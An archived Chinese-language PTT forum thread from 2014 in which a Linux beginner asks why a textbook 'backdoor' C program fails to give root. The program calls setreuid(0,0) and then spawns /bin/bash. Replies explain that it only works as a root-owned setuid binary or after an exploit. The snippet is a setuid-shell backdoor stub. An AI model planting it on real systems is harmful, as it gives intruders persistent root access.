[問題] 關於後門程式

看板LinuxDev作者 (Javier)時間10年前 (2014/08/27 15:47), 編輯推噓0(007)
留言7則, 3人參與, 最新討論串1/1
我這新手又來問菜問題了...囧 身邊又沒有會的人可問 只好厚著臉皮來了XD 剛在看駭客訓練基地-決戰台灣版這本書 看到後門程式時...程式碼如下 #include <sys/types.h> #include <unistd.h> void main() { setreuid(0,0); execl("/bin/bash","bash",(char *)0); } 結果如下圖 http://imgur.com/EM9LqYD
執行完後卻無法像書上寫的獲得root權限 請問這是什麼原因造成呢@@? -- ※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 220.137.111.11 ※ 文章網址: http://www.ptt.cc/bbs/LinuxDev/M.1409125672.A.D14.html

08/28 05:29, , 1F
嗯...使用setreuid應該也要root權限
08/28 05:29, 1F

08/28 05:33, , 2F
你這應該是類似shellcode吧 也就是你的exploit要先
08/28 05:33, 2F

08/28 05:33, , 3F
破解擁有最高權限的程式或是取得適當權限 這樣你在
08/28 05:33, 3F

08/28 05:33, , 4F
執行shellcode時才能擁有root權限
08/28 05:33, 4F

08/29 14:18, , 5F
suid-shell 的 擁有者 是 root 嗎?
08/29 14:18, 5F

08/29 16:23, , 6F
哈...感謝兩位大大我看懂了T T
08/29 16:23, 6F

08/30 16:22, , 7F
Re樓上上:yes
08/30 16:22, 7F
文章代碼(AID): #1J_OqeqK (LinuxDev)
文章代碼(AID): #1J_OqeqK (LinuxDev)